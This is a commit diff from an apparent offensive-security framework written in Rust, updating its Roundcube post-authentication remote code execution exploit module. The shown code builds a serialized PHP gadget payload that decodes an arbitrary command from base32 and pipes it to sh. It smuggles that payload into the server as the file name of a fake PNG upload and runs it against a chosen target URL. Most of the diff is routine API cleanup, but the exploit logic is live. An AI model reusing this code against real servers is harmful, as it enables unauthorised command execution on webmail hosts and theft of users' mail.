admin/s-b-repo-rustsploit
1
0
Fork 0
mirror of https://github.com/s-b-repo/rustsploit synced 2026-06-27 09:54:12 +00:00
Code Issues Packages Projects Releases Wiki Activity

Update roundcube_postauth_rce.rs

Browse Source
This commit is contained in:
S.B
2025-06-17 01:32:07 +02:00
committed by GitHub
parent e06042d828
commit 28dd1f66dd
1 changed files with 9 additions and 11 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/modules/exploits/roundcube/roundcube_postauth_rce.rs
+9 -11
View File
@@ -2,15 +2,14 @@ use anyhow::{anyhow, Result};
use data_encoding::BASE32_NOPAD;
use md5;
use rand::Rng;
use rand::distr::Alphanumeric;
use base64::Engine as _;
use regex::Regex;
use reqwest::{Client, cookie::Jar, redirect::Policy};
use std::io::{self, Write};
use std::sync::Arc;
use std::time::{SystemTime, UNIX_EPOCH};
/// Decode base64 constant for small transparent PNG
use rand::distr::Alphanumeric;
/// // Decode base64 constant for small transparent PNG
fn transparent_png() -> Vec<u8> {
const PNG_B64: &str = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==";
base64::engine::general_purpose::STANDARD
@@ -18,7 +17,7 @@ fn transparent_png() -> Vec<u8> {
.unwrap_or_default()
}
/// Build the serialized PHP payload using Crypt_GPG_Engine gadget
/// // Build the serialized PHP payload using Crypt_GPG_Engine gadget
fn build_serialized_payload(cmd: &str) -> String {
let encoded = BASE32_NOPAD.encode(cmd.as_bytes());
let gpgconf = format!("echo \"{}\"|base32 -d|sh &#", encoded);
@@ -31,13 +30,13 @@ fn build_serialized_payload(cmd: &str) -> String {
fn generate_from() -> &'static str {
const OPTIONS: [&str; 6] = ["compose", "reply", "import", "settings", "folders", "identity"];
let idx = rand::thread_rng().gen_range(0..OPTIONS.len());
let idx = rand::rng().random_range(0..OPTIONS.len());
OPTIONS[idx]
}
fn generate_id() -> String {
let mut rand_bytes = [0u8; 8];
rand::thread_rng().fill(&mut rand_bytes);
rand::rng().fill(&mut rand_bytes);
let timestamp = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
@@ -117,8 +116,8 @@ async fn login(client: &Client, base: &str, username: &str, password: &str, host
async fn upload_payload(client: &Client, base: &str, filename: &str) -> Result<()> {
let png = transparent_png();
let boundary: String = rand::thread_rng()
.sample_iter(Alphanumeric)
let boundary: String = rand::rng()
.sample_iter(&Alphanumeric)
.take(8)
.map(char::from)
.collect();
@@ -152,7 +151,7 @@ async fn upload_payload(client: &Client, base: &str, filename: &str) -> Result<(
Ok(())
}
/// Entry point for dispatcher
/// // Entry point for dispatcher
pub async fn run(target: &str) -> Result<()> {
let mut base_url = target.trim().to_string();
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
@@ -160,7 +159,7 @@ pub async fn run(target: &str) -> Result<()> {
}
base_url = base_url.trim_end_matches('/').to_string();
// HTTP client with cookies and no redirects
// // HTTP client with cookies and no redirects
let jar = Jar::default();
let client = Client::builder()
.cookie_provider(Arc::new(jar))
@@ -214,4 +213,3 @@ pub async fn run(target: &str) -> Result<()> {
let serialized = build_serialized_payload(command);
upload_payload(&client, &base_url, &serialized).await
}